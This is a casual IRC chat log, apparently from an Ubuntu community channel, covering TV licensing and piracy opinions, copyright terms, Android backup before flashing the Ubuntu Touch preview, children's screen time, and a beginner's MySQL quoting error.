<redtape-renegade> oh, Istill pay Â£145.50 to the beeb alrighjt, that's for sure ..
<neuro> for the live streams?
<redtape-renegade> neuro, As the son of a TV shop owner . I totally disagree .. you are just bainwashed into saying that !!
<neuro> redtape: brainwashed into saying what?
<redtape-renegade> **brainwashed..
<BigRedS> ...that's the law...
<redtape-renegade> neuro: Into saying I watch TV..
<BigRedS> the wording of the act that provides for the tv license doesn't specify a broadcast medium
<BigRedS> It did, IIRC, specify that the thing was mains powered
<BigRedS> but I think they changed thatr
<neuro> not iirc
<neuro> it's still there
<redtape-renegade> .. I don't have a Television or watch 'scheduled' programmes ever !
<BigRedS> oh, haha
<neuro> redtape: i could say the same if all I ever did was timeshifted everything on my DVR
<neuro> but it's still "watching television"
<BigRedS> ah, I guess that's to stop people needing a tv license for a lorry cab or something
<redtape-renegade> .. yeah , but are being 'told' what you can and cannot watcgh .. where as I have the full choice of the torrent sitesv !
<neuro> lol wat
<redtape-renegade> your brainwashed !
<redtape-renegade> TV is a dead medium !
<ali1234> derpity derpity doooo
<neuro> redtape: but you're watching TV programmes!! *boggle*
<redtape-renegade> neuro: I dont atall . I watch torent films !
<mungbean> ^watch^steal
<neuro> no
<neuro> copyright infringement is not theft
<neuro> you're not depriving the owner of the item
<mgdm> I heard someone say recently it's more akin to trespassing
<redtape-renegade> wel that is a separate issue .. the one that keep people hypnotized by terrestial tv.
<neuro> yes, it's a crime, but no, it's not theft
<mungbean> ok
<mungbean> agree
<mgdm> I'm not sure how accurate that is, but it fits in my mind
<ali1234> i totally disagree with everyone here
<neuro> redtape: okthxbai
<mgdm> ali1234: not unusual for you ;-)
<redtape-renegade> ali1234: What's new ??
<neuro> hehe
<mungbean> civil offence vs criminal
<neuro> there's that as well
<redtape-renegade> mgdm: He should have a G+ page or something .. wanna do one ?
<mgdm> redtape-renegade: who should?
<redtape-renegade> ali1234:
<mgdm> I'm not sure why I would be bothered with making a page for someone else :-)
<neuro> or indeed bothered using a weird social network :)
<mungbean> i hope for the day when you get an ebook for free with a paper book
<neuro> mungbean: like a digital copy with a dvd or blu ray :)
<redtape-renegade> Aaah, the selfish-gene just kicked in on this #channel :)
<neuro> that would be neat
<mungbean> neuro: yes, since its only format shifting, i shouldn't have to pay twice
<neuro> redtape: i say this with all due respect, but you're odd, sir :)
<popey> I notice they are doing that with Blueray now
<neuro> aye
<popey> using Ultraviolet
<neuro> or iTunes
<popey> Ultraviolet makes sense for books.
<mungbean> what is it?
<popey> buy book, get rights to use on any platform
<mungbean> yes
<davmor2> popey: are you using ultraviolet
<redtape-renegade> I havec a rockbox .. fcuk iTunes !!
<neuro> mungbean: http://www.uvvu.com/
<popey> an agreement that when you buy the DVD you can use other means to get digital copy
<neuro> it's a nice idea
<neuro> more platform agnostic than Digital Copy
<popey> taken a long while to get started
<popey> amazed that I saw discs in the local petrol station with it on
<neuro> :)
<neuro> what i can't remember is if ultraviolet does HD copies
<ali1234> they've had that since at least 2011, cos my dad got loads of blu rays with that and he had no idea what it was
<neuro> Digital Copy is usually SD, sadly
<neuro> which is annoying when you've bought the blu ray
<mungbean> i've never watched the didigtal copy, seems to be a windows thing
<neuro> it's an itunes thing
<mungbean> and DRM laden
<neuro> i have Star Trek sitting on my mac just now
<neuro> well yea
<neuro> :(
<mungbean> don't have a platform that can run itunes
<neuro> which is why ultraviolet is "nicer
<neuro> "
<neuro> only problem is that the capabilities appear to be studio-dependent
<mungbean> for books, all they would need is a scratch off sticker with a single use code or something
<neuro> it's up to the studio (and i think it's on a per release basis too, if they want) whether the title can be streamed and/or downloaded
<neuro> mungbean: but there's the format issue too
<neuro> pdf?
<neuro> epub?
<neuro> mobi?
<neuro> etc
<neuro> epub probably makes most sense, but there's the danger that once you've bought it and gotten the epub, you can just share it about
<neuro> but then again, itunes takes the same chance with music, soooo ...
<mungbean> you can have an account where the file gets watermarked
<neuro> (plenty of utils around to strip personal info from m4a files)
<mungbean> or just trust people to use the system
<mungbean> read the story about the tolkien boigraphy
<neuro> which is what apple do with itunes music: trust
<mungbean> or convenience
<mungbean> make stuff easy to buy
<neuro> tolkein was a fanboi? ;)
<neuro> this is what the p2p community has been saying for years
<neuro> "make stuff easier to buy, and we'll get interested"
<mungbean> http://www.grotta.net/blog.htm?post=899042#
<neuro> yes, there's a hard core of people who will always pirate music, video, etc
<mungbean> "Why You Won't Be Reading a New Tolkien Biography"
<neuro> but a lot of people do torrenting, ed2k etc for media because the "official" digital way is too hard
<neuro> or too inconvenient
<mungbean> copyright expires, then gets retroactively applied, guy can now no longer quote from the material
<neuro> or downright impossible, if you're on an "unsupported platform"
<neuro> yeah, copyright extensions and the like are annoying
<neuro> defeats the whole point
<neuro> cf Cliff Richard
<mungbean> if you own a book that was out of copyright, they can't come to your house and stampa copyright on it ?>
<neuro> when they EU extended copyright from 50 to 70 years a couple of years ago, one of the things they said was that it was done to protect income gaps at the end of performer's lifetimes
<neuro> which is nuts
<neuro> especially given some of the heavy hitters who pushed to get the legislation through
<mungbean> so why does it continue after they die
<mungbean> christopher tolkien is not JRR
<neuro> "awww, did you blow all your earnings on booze and drugs? well that's not our fault!"
<neuro> copyright continues after someone dies to allow the estate or heirs to benefit from the works
<mungbean> ad infitum
<neuro> well in theory no
<neuro> but in practice ...
<neuro> due to the greed of labels and publishing houses ...
<mungbean> disney
<neuro> oh dear lord, yes
<neuro> it's atrocious, but - and this applies to the way the music and movie industries treat piracy as well - as long as legislators are in the pockets of these people, it's going to continue
<neuro> problem is, for most of the public, it's just not an important enough issue to get worked up over
<neuro> people like us tend to be in the minority
<redtape-renegade> Well that's my dad of excitment over for today .. What's happening in in Tech.Land ?
<redtape-renegade> **my day of
<popey> oh, something something tablet something
 * redtape-renegade has too many unused tabelts :)
<redtape-renegade> **tablets..
<neuro> i discovered a Cherry Ripe in the house today
<neuro> made me come over all funny
<neuro> it's an aussie chocolate bar, in case anyone has become concerned for my actions
 * redtape-renegade hates cherry and watermelon .. disgusting.
<cr0w13y> ^pervert
<redtape-renegade> cr0w13y: Who ?
<cr0w13y> redtape-renegade: you man, haha What, you hate cherry and watermelon? They are like the most divine flavours on the planet!
<mungbean> today has been a rather offtopic one
<neuro> probably my fault
 * mungbean holds his hands up too
<neuro> cr0w13y: a perv i may be, but only when it comes to tasty aussie choc snacks
<neuro> om nom nom nom
<cr0w13y> hah nice
 * redtape-renegade draws eneryone in with a gravitational hug \o/ .. even jawas .
<redtape-renegade> ***everyone..
<neuro> even jawas?!?!
<neuro> WHAT ARE YOU ON, DUDE?!
<neuro> (and can we have some?)
<redtape-renegade> me ?
<redtape-renegade> the list is long ..
<neuro> no, the other redtape-renegade who's talking about hugging jawas
<neuro> :)
<redtape-renegade> Monster Chaos .. energy drink..
<neuro> oo-tee-deeeee
<neuro> energy drinks are the DEVIL
<redtape-renegade> Juan Valdez ...coffee from mexico
<mungbean> http://laughingsquid.com/jawa-sandcrawler-scavenging-across-tatooine/
<neuro> gorgeous!
<redtape-renegade> Steak slice .. from Tesco done in the oven 20mins.
<neuro> scott beale always finds cool stuff
<mungbean> http://laughingsquid.com/vintage-star-wars-travel-posters/
<neuro> "Dagobah. Visit you should." Genius
<mungbean> nice, they are
<redtape-renegade> Benson and Hedges rolling tobacco .. 8p a rollie :)
<mungbean> or just don't smoke :P
<neuro> *cough*
<redtape-renegade> .. oh and porridge qwhen i got up with syrup and sultanas .. good for the bowels ...
 * neuro sticks to his 37.5p per cig marlboro golds
 * neuro had a kfc breakfast thingy this morning
<redtape-renegade> marlboro .. Ha . you know they can't pronounce that in Spain ?
<neuro> um, what?
<neuro> awright ubuntubhoy! howzitgaun!
 * redtape-renegade had a spanish girlfriend who went into aperplexy whenever she had to ask at the cfounter :D
<ubuntubhoy> no bad
<neuro> maybe it was just your girlfriend who couldn't pronounce it
<redtape-renegade> **counter..
 * neuro had no probs with marlboros in spain
<redtape-renegade> .. no I've had dozens of spanish gf . who had the same problem .. It's not their fault . they are spanish . I just trade-in for a younger model .
<neuro> ok
<redtape-renegade> hehe.
<neuro> ubuntubhoy: shame about the juve game, eh, i think that's us done for for this season
<ubuntubhoy> yeah
<ubuntubhoy> losing the first goal so early killed us
<ubuntubhoy> played well
<neuro> aye, still, could be worse, we could have no made it through at all
<ubuntubhoy> true
<neuro> i cancelled sky sports last month, so didnae see it :(
<neuro> stupid unemployment
<ubuntubhoy> it was on council telly
<neuro> wat
<neuro> no wai
<ubuntubhoy> yar
<neuro> *facepalm*
<redtape-renegade> neuro: R U u/e ??
<neuro> u/e?
<redtape-renegade> unemployed
<neuro> no, i just blame unemployment for everything
<neuro> </sarcasm>
<neuro> yes, i am
 * redtape-renegade the manx-DUDE agrees.
<neuro> have been since july
<redtape-renegade> Crumbs.
<neuro> and it *sucks*
 * mungbean should be more grateful for his job
<redtape-renegade> So should redtape-renegade
<mungbean> being grateful also stops me finding other ones though
<neuro> my savings run out next month, signing on shortly
<popey> Azelphur: there's a retro games thing in your neck of the woods today I think?
<Myrtti> I should start doing up a spreadsheet for my business idea
<neuro> yeah, if everyone could just not change jobs at all until i get one, that would be great
<Azelphur> popey: todays the private day, tomorrow, you going? :P
<redtape-renegade> mungbean: What age-bracket are you in .... ??
<popey> http://www.geek2013.co.uk/
<mungbean> 35-40 new kid on the way
<popey> no
<neuro> Myrtti: will one of the cells be ??? followed by another one saying "profit"? :)
<Azelphur> Thursday 21stÂ February - Preview Day - The Preview Day is by invitation only
<redtape-renegade> mungbean: You're ahead on me by 2 years then ..
<Myrtti> neuro: one will probably be kickstarter, followed by ??? and then profit
<neuro> Myrtti: :)
<mungbean> i turned down a exciting new job because 1st year of new child is so focus and time consuming
<mungbean> and hard
<neuro> good shout
<mungbean> now my job is changing and i won't be doing so much hardcore linux and vmware skills
<neuro> you'd kick yourself if you spent loads of time working then realised you'd missed out on being with your wee 'un
<Myrtti> I don't need that much, just some plasterboard, ring burners, gas pipe, few big stock pots from a kitchen wholesale place, and few tubs.
<redtape-renegade> mungbean: MM children .. I think I'll pass.
<Myrtti> oh and a sink
<Myrtti> and YARN
<Azelphur> popey: I almost got into the preview day, I know someone volunteering there XD
<mungbean> i could offer a lot to a better company who appreciated their staff
<Azelphur> ended up not working out though D:
<neuro> Myrtti: so it's some sort of internet website startup then? :)
<mungbean> but it will have to wait a bit
<Myrtti> neuro: yeah ;-)
<neuro> mungbean: sounds like you'll make a good parent
<redtape-renegade> mungbean: It's my nephews 2nd b.day on Friday .. I got him a book .. but as you are in nthe *know* .. what presents do toddlers like these days ??
<ubuntubhoy> Someone doesn't like Ubuntu much - http://crave.cnet.co.uk/mobiles/nexus-4-galaxy-nexus-enjoy-exclusive-ubuntu-phone-preview-50010462/
<ubuntubhoy> redtape-renegade: noisy ones
<redtape-renegade> e.g. ??
<mungbean> redtape-renegade: cars, brio, books
<neuro> get them a nexus 7 with ubuntu touch preblown
<mungbean> gruffalo related merch for my boy
<redtape-renegade> mungbean: Yeah, I got him an ABC#'s bok ..
<ubuntubhoy> gruffalo is cool
<mungbean> my boy also loves nintendo ds but only on weekends for 20 mins allowed atm
<neuro> ubuntubhoy: i've given up on cnet as a useful news source :(
<redtape-renegade> I think he's got gruffalo ..
<Azelphur> mungbean: why such a short time?
<mungbean> its generally not good idea
<cr0w13y> "the ageing Galaxy Nexus" isn't that like a year old topps?
<ubuntubhoy> redtape-renegade: Room on the Broom is another good kids book
<redtape-renegade> ubuntubhoy: Nice photo's though ...
<ali1234> lol imagine if it was a spectrum
<neuro> :)
<Azelphur> ali1234: 19 minutes of bootup time, 1 minute of gameplay? :P
<ali1234> yeah
<popey> typing in time
<mungbean> toddlers find computer games rather stimulating
<Azelphur> hehe
<popey> how old is he?
<neuro> oh be generous
<ubuntubhoy> qwwwwwwwwwwwwwwwwwwwwwwwwwwww
<ubuntubhoy> sorry
<ubuntubhoy> cat
<neuro> even 128k games didn't take 19 minutes :)
<mungbean> just turned 3
<neuro> ubuntubhoy: lol
<Azelphur> mungbean: *shrug* I grew up playing games WAAAAAAY more than that, imo it was entirely a good thing
<mungbean> Azelphur: what age?
<Azelphur> without games I would never have had the motivation to learn programming, which has given me so much
<popey> yeah, look how you turned out Azelphur
<Myrtti> neuro: in all seriousness: http://www.flickr.com/photos/myrtti/sets/72157632822139010/
<Azelphur> mungbean: pretty much since I was born, haha
<Azelphur> popey: rofl
<mungbean> http://en.wikipedia.org/wiki/Neuroplasticity
<neuro> Myrtti: oooh
<Azelphur> mungbean: what about it?
<neuro> weird that red onions would make green dye
<AlanBell> Myrtti: what is the unique thing about this?
<redtape-renegade> Cnet pictures .. bookmark it !! http://news.cnet.com/photo-galleries/?tag=hdr;snav
<neuro> no
<mungbean> Azelphur: there is a channel of thinking that says too much stimulating screentime can cause permanent brain changes in under 5s
<neuro> *good* changes?
<Azelphur> interesting
<neuro> i'm guessing no
<Azelphur> yea, I'd say good changes.
<mungbean> lol
<Myrtti> AlanBell: I might set up a network to collect some select kitchen waste from nearby curry places and cantines ;-) who knows...
<Azelphur> games have been demonstrably proven good over and over again in studies
<Myrtti> AlanBell: teabags, onion skins :-P
<AlanBell> is the special thing that it is natural dyes?
<neuro> wouldn't the wool ... smell funny?
<mungbean> some people even say screen time for under 2s should be zero
<neuro> <- wool n00b
<mungbean> impossible
<neuro> IMPOSSIBRU!
<Azelphur> mungbean: *shrug* I grew up on games, had an Amiga with Thomas the Tank engine
<Azelphur> and postman pat :D
<Myrtti> neuro: not if you rinse enough, the dye binds to the wool and doesn't generally leave a smell other than what the yarn already has.
<redtape-renegade> Amiga ??!?? spitz
<neuro> Myrtti: awesome
<Azelphur> redtape-renegade: don't you hate on my thomas the tank engine.
<mungbean> i grew up on games but was older than 5
<neuro> i have a particular envy for people who grew up when Amigas didn't cost 400 quid
<neuro> i used to lust over those Silica Systems ads
<neuro> Ooooooh, Amiga ... ST ... accessories ... waaaa!
<Azelphur> but yea games certainly arn't a bad thing, there are most definitely much bigger things you should worry about :P
<neuro> i think making sure the games have some sort of educational focus is a Good Thing
<Myrtti> AlanBell: yup.
<neuro> i had to lecture a couple of parents in Tesco one night because they were dithering over what to buy their kid, Call of Duty Modern Warfare 3 or Battlefield 3
<Azelphur> neuro: indeed, but in my experience I find that when I play games the educational stuff tends to just arrive on it's own
<neuro> they'd asked me for advice
<neuro> i asked them how old their boy was
<ali1234> i hope you told them BF3
<neuro> they said 8
<mungbean> thats a rational approach, but certain people are worried that actual screen time makes permanent bad changes
<ali1234> oh, CoD then
<Azelphur> neuro: that's fail hahaha
<neuro> i said please, look at the AGE RATINGS ON THE BOXES!!!
<AlanBell> so you buy yarn that is fresh off the sheep (or llama) and sell it dyed in various interesting colours?
<Azelphur> neuro: yea, rofl
<neuro> i had to explain the games were full of blood, swearing and people dying
<mungbean> not talking about content, but the media
<Azelphur> I certainly didn't grow up on no BF3 :P
<neuro> and did they think that was appropriate for an 8 year old
<neuro> they looked all confused for a minute, then put them back on the slef
<neuro> shelf
<AlanBell> what is the plasterboard for?
<AlanBell> and how do you re-wrap the yarn?
<Azelphur> mungbean: some people are worried that vaccinations cause autism too, doesn't mean they are right, you generally have to have evidence to back up crazy claims
<ali1234> if those games aren't apprpriate for 8 yea olds, who exactly are they appropriate for?
<popey> if my kids walk in when I'm playing a game like that I have to quickly flick the screen off or stab ESC
<popey> or both
<Azelphur> popey: hehe, need one of those panic buttons ;)
<neuro> Azelphur: the increase in measles cases and no apparent increases in autism bears out the paranoia in some people
<neuro> ali1234: adults
<Azelphur> neuro: lol
<AlanBell> extraordinary claims require extraordinary evidence
<Azelphur> ^
<neuro> ali1234: adults who can make informed choices about their media consumption
<mungbean> besides i'm concerned that my 3yr old is better at mario than me
<neuro> haha
<Myrtti> AlanBell: plasterboard is to make the garage walls a bit more dustproof, so that the risk of making the yarn icky is a bit less. Yarn comes in hanks, is dyed in hanks and sold in hanks, doesn't necessarily require anything in between. The yarn comes from a wholeseller or spinnery, haven't figured that out yet. Might source some local alpaca farms and ask if they've got readyspun yarn.
<neuro> TOM HANKS!?
<Azelphur> mungbean: that's the best reasoning xD
<redtape-renegade> sounds dusty :)
<AlanBell> Myrtti: I guess it is going to have to come unbleached and pretty raw for people who are going to pay for the naturalness of the dye
<Azelphur> mungbean: but yea just to give you some idea how things went for me, I had an amiga growing up, at around age 6 I got an action replay and taught the basics of hex editing, then I got a gameboy and a playstation (both with action replays) so I learned lots of stuff about memory editing and such, got my first PC, started playing MMORPGs and writing bots etc...
<Azelphur> and now I do proper things
<neuro> right, that's my nexus 7 all chargified
<redtape-renegade> popey: Your secret is safe with me , for a cheezeburger :)
<cr0w13y> neuro: you're gonna do it?
<neuro> probably
<Myrtti> AlanBell: some people might be happy with just the hand dyed and recycled dyestuff aspect.
<neuro> bit concerned about backup/restore, but otherwise i'm game
<neuro> i wailed on the new UI when i saw the phone thing, but i've never experienced it, so i figure i should give it a try before attempting any further wailage
<ubuntubhoy> did you backup to an external source ?
<Myrtti> anyway...
<neuro> not yet
<neuro> still need to figure that out
<AlanBell> Myrtti: is colour consistency massively important? I should think that there will be variability in various steps of the process
<neuro> i've never plugged it into a computer
<ubuntubhoy> you have a OTG cable ?
<AlanBell> and what colour range can it be?
<neuro> OTG cable?
<ubuntubhoy> USB on the go
<ubuntubhoy> lets you use the USB as a host
<cr0w13y> USB on the go?
<neuro> it would appear not
<ubuntubhoy> for connecting keyboards, mice etc
<ubuntubhoy> ahh shame
<ubuntubhoy> thats the easy way
<ubuntubhoy> just backup direct to a USB drive
<neuro> aaah i see
<ubuntubhoy> otherwise you need to copy your backup off the device
<redtape-renegade> The crumpets keep looking at me to eat them .. What should I do ?
<neuro> i'll plug it into my mbp and see what happens
<ubuntubhoy> eat them
<neuro> i had to use some mental app for my kindle fire hd
 * redtape-renegade goes to find the jam ..
<ubuntubhoy> dont forget a knife
<Myrtti> AlanBell: colour range depends on what is used as dyestuff, might need to go forage for more colours, or grow my own. colour consistency needs a bigger pot than what I have, ie. so I can dye two kilos at a time instead of 100g. Other than that it's not massively important, and handdyed always implies that there will be fluctuation in the colours.
<neuro> hmm, cable has gone walkies
<ubuntubhoy> get messy otherwise
<redtape-renegade> Yes, you need a knife for a crumpet massacre !
 * Myrtti slinks back away and leaves the channel for Ubuntu chatter :-P
<neuro> Myrtti: we have 3 hrs to kill before these bloomin' images appear, wool sounds fun in the meantime ;)
<AlanBell> 3 hours?
<ubuntubhoy> is the guess 4 O'clock ?
<neuro> allegedly
<ubuntubhoy> hmm
<ubuntubhoy> not good
<neuro> not 100% though
<ubuntubhoy> need to head into work just after 4
<AlanBell> dunno why the code doesn't get a countdown :(
<ubuntubhoy> mass F5 destruction ?
<Myrtti> bcuz it's not as shmexy
<popey> AlanBell: because we dont have a time
<redtape-renegade> .. the crumpets are being toasted to death as we speak ..
<ubuntubhoy> mmm
<redtape-renegade> + Raspberry Jam :)
<popey> those scamps at xda-developers managed to snag a copy when we were testing
<AlanBell> yeah, I heard about that
<ubuntubhoy> lol
<redtape-renegade> where is their video, then ?
 * popey shrugs
<redtape-renegade> that is what they are all about !!
<ubuntubhoy> and why has it not been ported to the HD2 yet - everything else does
<AlanBell> it isn't obvious externally why one download is harder to stage at a particular time than a raft of press releases and website pages
<AlanBell> maybe the release involves more than that
<popey> "one download"
<popey> right
<popey> press releases don't crash devices
<AlanBell> sure, but I figured the tar.gz of the image has been solid for a week or so
<popey> ho ho ho
 * popey looks at the build time of it
<Myrtti> perhaps it is horribly naive to think that when it was announced that the code and image will be published on 21st, it was already in the condition of being very very near completion?
 * Myrtti is naive.
<popey> your expectations really do need some recalibration AlanBell
<AlanBell> what I was expecting was an image file to be shoved up somewhere, and https://wiki.ubuntu.com/TouchInstallProcess to have some text on it :)
<popey> its a preview
<popey> it's not "complete" by any stretch
<ubuntubhoy> so the build will be recent
<AlanBell> no, not complete, not expecting that
<ubuntubhoy> as in today ?
<popey> that was at Myrtti
<Myrtti> completion in the sense of being ready to be published at some level?
<AlanBell> just wasn't expecting the build to be built today!
<popey> it's under very active development
<Myrtti> language fails me again and I seem to be poking my nose where I shouldn't.
<popey> well the "complete" (I get your meaning) image was published earlier
<BigRedS> what's finished?
<popey> but not all the other bits were ready
<popey> thats how xda got it
<Myrtti> my disappointments with mobile platform software development are too clearly visible. Sorry. *goes to knit*
<ali1234> lulz
<BigRedS> ah, ubuntu on phone?
<neuro> huzzah
<neuro> i've foundified my usb-microusb cable
<ubuntubhoy> popey: what does the Touch build use to determine if the device is a phone or tablet ?
<AlanBell> popey: I look foward to seeing the other bits then :)
<ali1234> engadget "review" tells all you need to know. basically nothing works yet.
<ubuntubhoy> but people want to try the interface, not so much the 'bits'
<ubuntubhoy> so it should be complete enough
<ali1234> do they?
<ubuntubhoy> yeah
<popey> people want different things
<ali1234> i don't know anyone who wants to try the interface
<BigRedS> pft. don't be silly
<ubuntubhoy> ali1234: really ??
<neuro> "Android File Transfer" ... this can't be good
<ubuntubhoy> I know loads
<ali1234> i know a few people who want to see how it's made though
<neuro> i had problems with this before
<neuro> ali1234: i want to try the interface
<ubuntubhoy> neuro: do you have a custom recovery ?
<neuro> no
<ubuntubhoy> ahh
<ubuntubhoy> not so good then
<ali1234> ubuntubhoy: did you say that titanium backup doesn't need root?
<AlanBell> I want to see it rotate :)
<neuro> it's stock all the way
<ubuntubhoy> ali1234: no
<ubuntubhoy> I said there are other backup options that dont need root
<ubuntubhoy> carbon being one of them
<ali1234> oh yeah
<ubuntubhoy> but there are others
<AlanBell> and I want to try the openERP point of sale UI on it
<neuro> i figure blow the stock image back on, sign in and google will cloudify all my settings back on
 * AlanBell subscribes to https://wiki.ubuntu.com/TouchInstallProcess
<neuro> and my apps
<ubuntubhoy> yeah
<neuro> and i just need to copy any media stuff back onto it
<ubuntubhoy> but not your data
<neuro> which is fine
<neuro> i think all i have is the free copy of transformers on there
<ali1234> and settings
<ubuntubhoy> you are as well going through the unlocking process just now
<neuro> settings are allegedly cloudified
<ali1234> i looked at what is actually in cloud backup
<ali1234> "android system settings" - that's it
<neuro> hrm
<popey> your wifi keys âº
<ali1234> so no app data, no homescreen changes
<ali1234> basically nothing
<neuro> can't say that would bother me
<neuro> i hardly use the thing
<AlanBell> I thought google had backed up everyone's wifi keys already :)
<ubuntubhoy> for app data you need a 3rd party backup solution
<neuro> ba dum tsh
<ali1234> it's not possible to backup app data without root
<neuro> ubuntubhoy: like titanium, right?
<ali1234> and it's not possible to get root without wiping app daa
<neuro> lol
<ubuntubhoy> but you need root for that
<neuro> yeah i know
<ali1234> what you actually need is a root exploit, but i coudn't find one for 4.2.2
<neuro> ha yeah i upped to 4.2.2 yesterday :P
<ubuntubhoy> ali1234: https://play.google.com/store/apps/details?id=com.rerware.android.MyBackupPro&feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5yZXJ3YXJlLmFuZHJvaWQuTXlCYWNrdXBQcm8iXQ..
<ubuntubhoy> no root required
<ubuntubhoy> also they have a free version
<ali1234> it doesn't require root
<ali1234> but it cannot back up app data unless you have root
<neuro> well, this is interesting ... it (Android File Transfer) hasn't copied my Transformers movie across
<neuro> YAY!
<neuro> i mean, aww
<ali1234> if you do not have root, it just creates market links so you can redownload apps, but not data
<ali1234> this is explained right on that page
<ubuntubhoy> https://play.google.com/store/apps/details?id=com.koushikdutta.backup&feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5rb3VzaGlrZHV0dGEuYmFja3VwIl0.
<neuro> acht, this should be fine
<neuro> i'll just blat it
<neuro> oh and by the way
<neuro> that Cherry Ripe Double Dipped was EPIC
<neuro> "Ripe juicy cherries and coconut lusciously dipped in rich old gold dark chocolate with 60% cocoa".
<neuro> ubernom
<neuro> re
<ali1234> i'll try carbon
<redtape-renegade> .. the crumpets died a good death .. RIP my Griddle friends .. http://en.wikipedia.org/wiki/Griddle
<neuro> i think we know what griddles are ;)
<redtape-renegade> have you got one ?
<neuro> no
<ubuntubhoy> he has a deep fat fryer
<ubuntubhoy> like all Scots should have
<redtape-renegade> you talk thge talk , but ...
<neuro> issued at birth
<neuro> redtape: what?
<redtape-renegade> dont walk the walk .
<neuro> i'll try again
<neuro> WHAT?
<redtape-renegade> .. yeah I prefer Amps, ..
<neuro> ok, whatever
 * redtape-renegade gives the tweenie whatever sign too ...
<neuro> Odd.
<neuro> But, in the words of Ross Geller ... "anywayyyy ...."
<neuro> popey: sorry, not sure if you responded ... what was the result of the nexus endurance test?
<popey> +1
<popey> I powered down after it had been up for $time and had $lots of battery left
<popey> because I need to test other things on it
<neuro> aw dude, come on :)
<neuro> $time? :)
<neuro> is endurance NDAed?
<popey> 16 hours or so
<neuro> and $lots?
<popey> ~60 or so
<neuro> blimey, nice
<neuro> i know my ipad can last a few days without needing charged when left idle, but i've never formally tested it
<neuro> but then again, it has a battery the size of a nexus 7 :)
<ubuntubhoy> My N7 can sit for days untouched and battery lasts
<popey> yeah
<neuro> popey's test was with ubuntu on it
<ubuntubhoy> yeah
<ubuntubhoy> I sw that the other night
<ubuntubhoy> saw*
<neuro> so it's good to know power management performance seems android-like
<neuro> at least on idle
<ubuntubhoy> yeah, deep sleep conservation is really a must
<ubuntubhoy> popey: as all the Touch stuff is getting dev releases, what about Ubuntu on Android?
<ubuntubhoy> Is it still getting kept hidden away for now ?
<popey> thats not part of it today
<ubuntubhoy> I dont mean today
<ubuntubhoy> I mean in general
<neuro> ubuntubhoy: you've broken popey
<ubuntubhoy> lol
<neuro> aquarius: guten tag meine herr
<DJones> Heh, I've not looked at Windows 8, but does it not have the ability to play youtube video's built in? http://www.pocket-lint.com/news/50011/windows-8-youtube-player-deluxe-costs-725-quid-in-app-store I'm sure that must be a bit optimistic even for a diehard windows/youtube fan
 * AlanBell loves automatic VPN connections based on wifi hotspot connections
 * redtape-renegade doesn't like the mob of chaffinches gathering on the patio .... What do they want ??
<ubuntubhoy> payback for the crumpets
<redtape-renegade> perhaps it's a wake for the crumpets ?
<ubuntubhoy> they wanted them
<redtape-renegade> I do habve crumbs .. Oh.. OK then ..
<redtape-renegade> Chaffinches get crumpet crumbs today ..
<neuro> crumpet crumbs are gateway crumbs
<neuro> next they'll be after warburton toastie bread crumbs
<redtape-renegade> Birds everywhere .. Aaarrhgh                redtape runs away !!
<redtape-renegade> Ari Pulkkinen â Angry Birds: Main Theme  :::: http://open.spotify.com/track/2Aq7zCYfNpb2Q7AkVbMKzk
<neuro> no
<mungbean> pancakes for lunch \o/
<knightwise> stupid question , but are they releasing the ubuntu phone image today ?
<popey> yes
<knightwise> ah :)
 * knightwise looks lovingly at his galaxy nexus :)
<BigRedS> pwgen 12 2
<knightwise> popey: am i correct in assuming that google contacts will not be available on the phone ?
<popey> I wouldn't assume anything, but play with it when released
<mungbean> knightwise: did you watch the vid?
<knightwise> mungbean: which one (am currently watching an interview with mark where he demoes the phone)
<ubuntubhoy> popey: you should enter politics
<popey> nah
<mungbean> watch the one on popeys g+ today with the frnech guy
<ubuntubhoy> you have the answers for dodging down to a tea
<popey> french guy?
<mungbean> the tablet vid?
<popey> dont recally any french vids
<mungbean> looks croatian, sounds frnech
<popey> hah, oren?
<mungbean> yes
<popey> hah, israeli
<mungbean> ah ok
<danfish_wibble> hmmm. Thinking of getting nexus 7 to try out the tablet version, but already have a TF prime. Can't really justify it..
<kvarley> engadget are annoying
<AlanBell> hi danfish_wibble :)
<mungbean> maybe wait till its more ready?
<mungbean> or works on tf prime too:P
<AlanBell> I am thinking of getting a nexus 10, we have a 7 but I would get in trouble for breaking that one
<directhex> pfft
<directhex> 10" tablets
<directhex> it's 2013. 27" tablets are the in thing
<ali1234> yes
<AlanBell> yeah, and they should come with a free car
<ali1234> i want to see a guy carrying 27" tablet like a ghetto blaster
<ali1234> on the bus
<ali1234> listening to loud music
<AlanBell> http://dhybridcars.com/tesla/2012-tesla-model-s-review-price/media/2012-tesla-model-s-dashboard-image-3/ <- like that one
<directhex> http://www.lenovo.com/products/us/desktop/ideacentre/horizon/
<popey> mmm tesla
<directhex> 27" tablet.
<AlanBell> that is only a 17" tabletcar though
<AlanBell> more pixels in the nexus10
<ali1234> imagine a car with a touch interface
<ali1234> no steering wheel just a touch screen
<ali1234> it would be the worst thing ever
<A5c11Char5et> Hi, anybody good for SQL query statements here ?
<AlanBell> A5c11Char5et: I am here because I should be doing SQL stuff
<A5c11Char5et> I've got a little SQL problem, I don't dabble in web stuff much so I dunno really whats wrong
<A5c11Char5et> Could you take a look for me please ?
<ali1234> pastebin it
<A5c11Char5et> Don't problem, thanks.
<A5c11Char5et> *no
<A5c11Char5et> http://pastebin.com/aU8pPth8
<AlanBell> what is the question?
<A5c11Char5et> mysql_query is returning an error
<A5c11Char5et> It says its not good SQL
<diplo> Don't think the table name needs quotes, not sure if that's enforced
<BigRedS> Tables want backticks rather than quotes
<A5c11Char5et> If Confirmed field is an integer would the quotations be omitted ?
<BigRedS> ` rather than '
<diplo> Could be the fields are not correct for the values
<A5c11Char5et> Ah, okay :)
<AlanBell> backticks
<AlanBell> or not at all
<BigRedS> you can generally get away without any sort of quote mark if you've no funny characters and are not using reserved words
<BigRedS> er, actually, I think the values list always needs quoting, but not the table name or field names
<BigRedS> also, isn't mysql_query deprecated?
<BigRedS> assuming php
<neuro> BACKTICKS OR IT DIDN'T HAPPEN
<BigRedS> Oh, only in 5.5
<A5c11Char5et> This is what its reporting..
<A5c11Char5et> Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Name', 'UserName', 'Email', 'PWordHash', 'Confirmed') VALUES ('Jamie Hurst','A5' at line 1
<A5c11Char5et> (changed the table name to backticks btw)
<BigRedS> hm. perhaps field names are quoted, too. The only time I get anywhere near writing actual SQL it's a bit of a mess and done badly
<BigRedS> quoted with backticks, even
<neuro> is your table called users or Users?
